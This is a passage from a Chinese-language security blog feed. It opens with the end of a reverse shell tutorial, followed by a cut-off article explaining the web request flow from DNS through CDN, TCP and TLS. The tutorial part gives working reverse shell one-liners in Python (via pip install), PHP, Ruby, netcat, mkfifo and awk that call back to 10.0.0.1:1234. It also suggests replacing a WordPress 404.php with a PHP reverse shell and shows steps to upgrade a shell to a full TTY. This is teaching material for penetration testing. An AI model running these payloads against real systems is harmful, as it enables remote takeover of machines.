&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dup2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fileno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pty&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;spawn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/bin/sh&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; &amp;gt; $TF/setup.py&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pip&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;install&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;PHP&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;r&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$sock=fsockopen(&amp;#34;10.0.0.1&amp;#34;,1234);exec(&amp;#34;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&amp;#34;);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;另一種php Reverse Shell，適合用在具有某個可以修改且運行的 php 網站，例如將 wordpress 的 404.php，換成這種類型的 Reverse Shell，礙於篇幅，我只將 Github 網址貼上來:&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ruby&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ruby&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rsocket&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;f=TCPSocket.open(&amp;#34;10.0.0.1&amp;#34;,1234).to_i;exec sprintf(&amp;#34;/bin/sh -i &amp;lt;&amp;amp;%d &amp;gt;&amp;amp;%d 2&amp;gt;&amp;amp;%d&amp;#34;,f,f,f)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Netcat&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nc -e /bin/sh 10.0.0.1 1234
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 1234 &amp;gt;/tmp/f
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;awk&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;RHOST=10.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;RPORT=1234
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;awk -v RHOST=$RHOST -v RPORT=$RPORT &amp;#39;BEGIN {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    s = &amp;#34;/inet/tcp/0/&amp;#34; RHOST &amp;#34;/&amp;#34; RPORT;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    while (1) {printf &amp;#34;&amp;gt; &amp;#34; |&amp;amp; s; if ((s |&amp;amp; getline c) &amp;lt;= 0) break;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    while (c &amp;amp;&amp;amp; (c |&amp;amp; getline) &amp;gt; 0) print $0 |&amp;amp; s; close(c)}}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h3 id=&#34;完全交互式-tty--fully-interactive-tty&#34;&gt;完全交互式 TTY / Fully Interactive TTY
&lt;/h3&gt;&lt;p&gt;當你成功在目標主機上或的 Initial Access 後，最常碰到的問題就是，無法像正常的 Shell 一樣好用，例如不能使用方向鍵(像是上箭頭↑的指令歷史紀錄)、倒退、clear、無法正常使用 vim 等等，甚至一些指令如&lt;code&gt;su&lt;/code&gt;,&lt;code&gt;ssh&lt;/code&gt;都要求需要一個正常的 Shell 才能執行。&lt;/p&gt;
&lt;p&gt;這時候我們就可以透過一些方法來將這個 shell 升級成完全交互式(Fully Interactive)的 TTY&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Python pty
這也是我最常用的，首先在接收到從目標主機彈回來的 Shell 之後，在獲得的 shell 執行以下動作:&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;python3 -c &#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&#39;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;按&lt;code&gt;Ctrl + z&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;會顯示&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[1]+  Stopped                 nc -nvlp 1234&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;stty raw -echo; fg&lt;/li&gt;
&lt;li&gt;按兩次&lt;code&gt;Enter&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;這樣就完成了，但仍然有一些問題，像是在輸入較長的指令時，會在非預期的地方換行甚至覆蓋掉原本寫的指令，非常不方便，所以需要讓這個升級過後的 tty 跟我們原本的 terminal 保持一致。&lt;/p&gt;
&lt;p&gt;先在一個新的terminal執行:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;stty -a
&lt;figure
  class=&#34;figurefigure-center&#34;
&gt;&lt;img src=&#34;https://blog.hack.tw/cdn-cgi/image/format=webp,quality=99/https://image.hack.tw/reverse-shell-bind-shell-images/image-4.png&#34; width=&#34;500&#34;&gt;
&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;拿到 raw s跟 colums 的值後，在剛剛升級的 tty 上寫下:
&lt;code&gt;export TERM=xterm-256color&lt;/code&gt;
&lt;code&gt;stty rows 32 colums 69&lt;/code&gt;
這樣我們就得到一個足夠好用的 tty 了&lt;/p&gt;
</description>
        </item>
        <item>
        <title>揭秘現代網站流程：從輸入URL到頁面呈現的全過程</title>
        <link>https://blog.hack.tw/p/browser-to-response-explain/</link>
        <pubDate>Thu, 22 Aug 2024 00:00:00 +0800</pubDate>
        
        <guid>https://blog.hack.tw/p/browser-to-response-explain/</guid>
        <description>&lt;h2 id=&#34;前言&#34;&gt;前言
&lt;/h2&gt;&lt;p&gt;本篇的誕生是源自於希望透過寫作重新梳理自己對於網路流程的認識，加上想要讓自己的基礎更紮實一點。因此如果內容有誤或是想要討論的，歡迎來信與我討論!&lt;/p&gt;
&lt;h2 id=&#34;正文&#34;&gt;正文
&lt;/h2&gt;&lt;div class=&#34;success&#34;&gt;
    當你在瀏覽器中輸入 URL 並按下 Enter，這個簡單動作實際上觸發了一系列複雜的技術過程，最終讓網頁呈現在你眼前。今天，我們將深入解析這個過程中的每個步驟及其背後的技術細節。
&lt;/div&gt;

&lt;h3 id=&#34;1-輸入url&#34;&gt;1. 輸入URL
&lt;/h3&gt;&lt;p&gt;第一步，就是在瀏覽器的搜尋框中輸入一個 URL，例如：&lt;code&gt;https://blog.hack.tw/&lt;/code&gt;，並按下 Enter。&lt;/p&gt;
&lt;h3 id=&#34;2-瀏覽器快取-browser-cache&#34;&gt;2. 瀏覽器快取 (Browser Cache)
&lt;/h3&gt;&lt;p&gt;首先，瀏覽器會檢查本地快取（HTTP 快取和瀏覽器快取）以查詢是否有請求資源的副本。如果有，瀏覽器將直接從快取中載入資源，這樣可以避免發送HTTP請求，節省時間和資源。&lt;/p&gt;
&lt;h4 id=&#34;瀏覽器快取的工作原理&#34;&gt;瀏覽器快取的工作原理
&lt;/h4&gt;&lt;p&gt;瀏覽器快取指的是說瀏覽器將之前載入過的資源（例如HTML、CSS、JavaScript、圖片等）存在本地端，以便在下一次訪問相同資源時可以直接從本地讀取，就不需要重新從伺服器下載。這個過程能夠顯著提高網頁載入速度，減少流量消耗。&lt;/p&gt;
&lt;h4 id=&#34;快取策略&#34;&gt;快取策略
&lt;/h4&gt;&lt;p&gt;瀏覽器會根據 HTTP Header中的快取控制指令來決定是否使用快取資源。例如，&lt;code&gt;Cache-Control&lt;/code&gt; Header 可以包含 &lt;code&gt;max-age&lt;/code&gt; ，指定資源可以在多長時間內被視為最新(fresh)的。當快取資源過期時，瀏覽器會發送一個條件請求 Conditional Requests（例如&lt;code&gt;If-Modified-Since&lt;/code&gt; Header），詢問伺服器資源是否已經更新。如果資源沒有改變，伺服器會 return 一個&lt;code&gt;304 Not Modified&lt;/code&gt;，告訴瀏覽器可以繼續使用快取資源。&lt;/p&gt;
&lt;h4 id=&#34;快取的優點和挑戰&#34;&gt;快取的優點和挑戰
&lt;/h4&gt;&lt;p&gt;使用快取的主要優點包括加快網頁載入速度、減少網路流量消耗和降低伺服器負載。然而，快取本身也可能會有一些問題，例如要確保資源更新時快取能夠及時失效，否則使用者看到的就會是原本的快取頁面，以及處理不同使用者可能會看到不一致的內容。&lt;/p&gt;
&lt;h3 id=&#34;dns-解析&#34;&gt;DNS 解析
&lt;/h3&gt;&lt;p&gt;如果快取中沒有找到資源，那瀏覽器就要去該網站取的資源，而第一個步驟就是瀏覽器對該網站的 Domain 進行 DNS 解析(Parsing)。這個過程包括以下幾個步驟：&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;sequenceDiagram
  actor Browser
  participant LocalCache
  participant OS
  participant DNSServer
  participant Regional DNS Server
  participant RootServer
  participant TLDServer
  participant SLDServer
  Browser-&gt;&gt;LocalCache: 檢查本地 DNS 快取
  LocalCache--&gt;&gt;Browser: 找到 IP Address
  Browser-&gt;&gt;OS: 向作業系統請求解析
  OS-&gt;&gt;DNSServer: 請求 DNS 解析
  DNSServer-&gt;&gt;Regional DNS Server: 查詢區域 DNS Server
  Regional DNS Server--&gt;&gt;Browser: 找到 IP Address
  Regional DNS Server-&gt;&gt;RootServer: 查詢根網域伺服器
  RootServer-&gt;&gt;TLDServer: 查詢頂級網域伺服器
  TLDServer-&gt;&gt;SLDServer: 查詢次級網域伺服器
  SLDServer--&gt;&gt;Browser: 返回 IP Address
  &lt;/pre&gt;
  &lt;ol&gt;
&lt;li&gt;瀏覽器檢查本地的 DNS 快取，如果找到相應的 IP Address 就可以直接使用。而本地快取是指瀏覽器和作業系統保存的最近查詢過的網域及其對應的IP Address，這樣可以加快後續的查詢速度。&lt;/li&gt;
&lt;li&gt;如果沒有找到，瀏覽器會向作業系統請求 DNS 解析。像是我們可以透過寫入 &lt;code&gt;/etc/hosts&lt;/code&gt; 來告訴瀏覽器指向的位置，有打過 Lab 像是 Hackthebox 的人可能很熟悉。&lt;/li&gt;
&lt;li&gt;作業系統接收到請求後，會檢查其內部的 DNS 快取。如果沒有找到，作業系統會向設定的 DNS 伺服器（通常是路由器或 ISP 的 DNS 伺服器）發出請求。在這裡，區域 DNS 伺服器（Regional DNS Server）扮演著很重要的角色。區域 DNS 伺服器通常由 ISP 或特定地區的 ISP 運營，它們能夠快速回傳常見的 IP Address，因為它們快取了來自更高級別 DNS 伺服器的結果，特別是針對當地熱門網站，這樣可以降低查詢延遲。如果區域 DNS 伺服器也無法解析，它會向 ISP 或更高層的公共 DNS 伺服器（如 Cloudflare 的 &lt;code&gt;1.1.1.1&lt;/code&gt; 或 Google 的 &lt;code&gt;8.8.8.8&lt;/code&gt;）發送請求。&lt;/li&gt;
&lt;li&gt;DNS 伺服器會依次查詢根(root)網域伺服器、頂級網域伺服器和次級網域伺服器，直到找到對應的 IP Address（例如：104.16.132.229）。而這個步驟又牽涉到 DNS 解析的另一個過程，它會從根(Root)網域伺服器開始解析，這些伺服器負責指引查詢請求到相應的頂級網域伺服器（如.com、.org或.tw等）。再到頂級網域伺服器 TLD，這些伺服器負責指引查詢請求到負責特定網域的次級網域伺服器。最後是次級網域伺服器 SLD，然後返回具體網域的 IP Address。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;dns-解析中的優化技術&#34;&gt;DNS 解析中的優化技術
&lt;/h4&gt;&lt;p&gt;為了提高DNS解析的效率，現代瀏覽器和作業系統會使用多種優化技術，如：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;並行查詢 Parallel Query&lt;/strong&gt;: 同時向多個 DNS 伺服器發送查詢請求，以減少等待時間。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS 預取 DNS Prefetch&lt;/strong&gt;: 預先查詢可能會用到的網域，這樣使用者在點擊連結時可以更快地載入網頁。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分佈式快取 Distributed Caching&lt;/strong&gt;: 將 DNS 查詢結果快取在多個位置，以提高查詢速度和可靠性。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;使用-cdn&#34;&gt;使用 CDN
&lt;/h3&gt;&lt;p&gt;在 DNS 解析過程中，解析結果可能指向一個 CDN(內容分發網絡) 節點的IP Address。CDN 會根據地理位置將請求重定向到最近的節點，用來減少延遲並提高載入速度。&lt;/p&gt;
&lt;h4 id=&#34;cdn-的工作原理&#34;&gt;CDN 的工作原理
&lt;/h4&gt;&lt;p&gt;CDN 是一個由分佈在不同地理位置的伺服器組成的網絡，將內容快速傳遞給使用者。CDN 的主要目的是減少延遲，提升使用者體驗。它通過將內容快取在多個節點上，當使用者請求內容時，可以從最近的節點取得，而不是從原始伺服器遠程下載，同時可以提升可靠性，即使其中一個節點掛掉了，還是可以從其他節點拿到資源。&lt;/p&gt;
&lt;h4 id=&#34;cdn-的優勢&#34;&gt;CDN 的優勢
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;降低延遲&lt;/strong&gt;：通過將內容快取在接近使用者的伺服器上，CDN 能夠明顯的降低延遲，提升網頁載入速度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;減少伺服器負載&lt;/strong&gt;：CDN 節點分擔了原始伺服器的負載，減少伺服器的壓力，提高系統的穩定性和可擴展性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提升可用性&lt;/strong&gt;：由於內容分佈在多個節點，即使某個節點出現故障，使用者仍然可以從其他節點取得內容，提升系統的可靠性。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;cdn-的實現&#34;&gt;CDN 的實現
&lt;/h4&gt;&lt;p&gt;CDN 實現的核心是將內容快取在多個伺服器上，這些伺服器根據地理位置分佈在不同的地區。當使用者請求內容時，CDN會自動選擇最接近使用者的節點進行回應。這個過程涉及多個技術環節，像是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;內容同步&lt;/strong&gt;：將原始伺服器上的內容同步到 CDN 節點，確保所有節點上的內容一致。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;請求重定向&lt;/strong&gt;：通過 DNS 或其他技術，將使用者的請求重定向到最接近的 CDN 節點。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;快取管理&lt;/strong&gt;：根據內容的更新頻率和使用者的訪問模式，動態調整快取策略，確保使用者能夠取得最新的內容。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;建立-tcp-連線&#34;&gt;建立 TCP 連線
&lt;/h3&gt;&lt;p&gt;在拿到伺服器的 IP 後，用戶端與伺服器之間就會通過 TCP/IP 協議進行通信。也就是常常聽到的三次握手過程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用戶端發送SYN（同步）Packet 到伺服器，請求建立連線。&lt;/li&gt;
&lt;li&gt;伺服器收到後，回應一個SYN-ACK（同步-確認）Packet 表示接受請求。&lt;/li&gt;
&lt;li&gt;用戶端再次回應一個 ACK（確認）Packet ，完成三次握手，成功建立連線。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;mermaid&#34;&gt;sequenceDiagram
    participant Client
    participant Server

    Client-&gt;&gt;Server: SYN
    Server--&gt;&gt;Client: SYN-ACK
    Client-&gt;&gt;Server: ACK
  &lt;/pre&gt;
  &lt;h4 id=&#34;tcp-三次握手的詳細過程&#34;&gt;TCP 三次握手的詳細過程
&lt;/h4&gt;&lt;p&gt;TCP（Transmission Control Protocol，傳輸控制協定）是網路通訊的核心協定之一，負責確保資料在用戶端和伺服器之間可靠傳輸。TCP三次握手是建立可靠連線的基本步驟，包括以下過程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SYN Packet&lt;/strong&gt;：用戶端向伺服器發送一個SYN（同步序列號）Packet，這個 Packet 包含了一個初始序列號，用於標識後續通信的數據 Packet 順序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SYN-ACK Packet&lt;/strong&gt;：伺服器收到SYN Packet後，回應一個SYN-ACK Packet，這個 Packet 包含伺服器的初始序列號(Initial Sequence Number, ISN)，以及確認用戶端的 SYN Packet的序列號。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ACK Packet&lt;/strong&gt;：用戶端收到SYN-ACK Packet 後，回應一個ACK（確認）Packet，這個 Packet 確認伺服器的SYN-ACK Packet的序列號。然後，雙方的連線就建立完成了。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;三次握手的重要性&#34;&gt;三次握手的重要性
&lt;/h4&gt;&lt;p&gt;TCP 三次握手的目的是確保雙方都能夠準備好進行數據傳輸，並協調 Packet 的順序。這個過程能夠有效避免 Data Packet 丟失和重複，確保通信的可靠性和穩定性。&lt;/p&gt;
&lt;h3 id=&#34;tls-握手使用-https&#34;&gt;TLS 握手（使用 HTTPS）
&lt;/h3&gt;&lt;p&gt;如果使用 HTTPS，則需要進行 TLS 握手以建立安全的加密連線：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用戶端發送 ClientHello 消息，包含支持的加密演算法和其他相關信息。&lt;/li&gt;
&lt;li&gt;伺服器回應 ServerHello 消息，選擇加密演算法並發送伺服器憑證。&lt;/li&gt;
&lt;li&gt;用戶端驗證伺服器憑證，並產生對稱加密密鑰，使用伺服器的公鑰加密後發送給伺服器。&lt;/li&gt;
&lt;li&gt;伺服器使用私鑰解密，取得對稱加密密鑰，然後雙方使用該密鑰進行加密通信。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;tls-握手的詳細過程&#34;&gt;TLS 握手的詳細過程
&lt;/h4&gt;&lt;p&gt;TLS（Transport Layer Security，傳輸層安全性協定）是網路上保護數據安全的主要協定之一。TLS 握手過程牽涉很多步驟，用來確保通信的安全性，這邊我認為佛心企業 Cloudflare 的解釋足夠好了，小弟就不獻醜，直接引用 (來源: &lt;a class=&#34;link&#34; href=&#34;https://www.cloudflare.com/zh-tw/learning/ssl/what-happens-in-a-tls-handshake/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://www.cloudflare.com/zh-tw/learning/ssl/what-happens-in-a-tls-handshake/&lt;/a&gt;)，流程圖是用 Mermaid 畫的：&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;sequenceDiagram
    participant Client
    participant Server

    Client-&gt;&gt;Server: ClientHello
    Server--&gt;&gt;Client: ServerHello
    Server--&gt;&gt;Client: Server Certificate
    Server--&gt;&gt;Client: ServerHelloDone
    Client-&gt;&gt;Server: Client Key Exchange
    Client-&gt;&gt;Server: Change Cipher Spec
    Server--&gt;&gt;Client: Change Cipher Spec
    Client-&gt;&gt;Server: Finished
    Server--&gt;&gt;Client: Finished
  &lt;/pre&gt;
  &lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;用戶端問候（client hello）」消息： 用戶端通過向伺服器發送「問候」消息來開始握手。該消息將包含用戶端支援的 TLS 版本，支援的密碼套件，以及稱為一串稱為「用戶端亂數（client random）」的隨機位元組。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;「伺服器問候（server hello）」消息： 作為對 client hello 消息的回復，伺服器發送一條消息，內含伺服器的 SSL 憑證、伺服器選擇的密碼套件，以及「伺服器亂數（server random）」，即由伺服器生成的另一串隨機位元組。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;身份驗證： 用戶端使用頒發該憑證的憑證授權驗證伺服器的 SSL 憑證。此舉確認伺服器是其聲稱的身份，且客戶端正在與該域的實際所有者進行交互。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;預主密鑰： 用戶端再發送一串隨機位元組，即「預主密鑰（premaster secret）」。預主密鑰是使用公開金鑰加密的，只能使用伺服器的私密金鑰解密。（用戶端從伺服器的 SSL 憑證中獲得公開金鑰。）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;私密金鑰被使用：伺服器對預主密鑰進行解密。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;生成工作階段金鑰：用戶端和伺服器均使用用戶端亂數、伺服器亂數和預主密鑰生成工作階段金鑰。雙方應得到相同的結果。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用戶端就緒：用戶端發送一條「已完成」消息，該消息用工作階段金鑰加密。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;伺服器就緒：伺服器發送一條「已完成」消息，該消息用工作階段金鑰加密。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;實現安全對稱加密：已完成握手，並使用工作階段金鑰繼續進行通信。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所有 TLS 交握都使用非對稱加密（公開金鑰和私密金鑰），但並不是所有的 TLS 交握都會在產生工作階段金鑰的過程中使用私密金鑰。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;tls-握手的安全性&#34;&gt;TLS 握手的安全性
&lt;/h4&gt;&lt;p&gt;TLS 握手的核心是通過公鑰加密技術確保密鑰交換的安全性，並通過數位憑證驗證伺服器的身份。這個過程能夠有效防止中間人攻擊，確保數據在傳輸過程中的機密性和完整性。&lt;/p&gt;
&lt;h3 id=&#34;發送-http-請求&#34;&gt;發送 HTTP 請求
&lt;/h3&gt;&lt;p&gt;建立安全的 TLS 連線後，用戶端就會開始發送 HTTP Request（例如：&lt;code&gt;GET /p/browser-to-response-explain/ HTTP/1.1&lt;/code&gt;）到伺服器。&lt;/p&gt;
&lt;h4 id=&#34;http-請求的結構&#34;&gt;HTTP 請求的結構
&lt;/h4&gt;&lt;p&gt;HTTP 請求是使用者向伺服器請求資源的 Message，主要包含以下部分：&lt;/p&gt;
&lt;ol&gt;
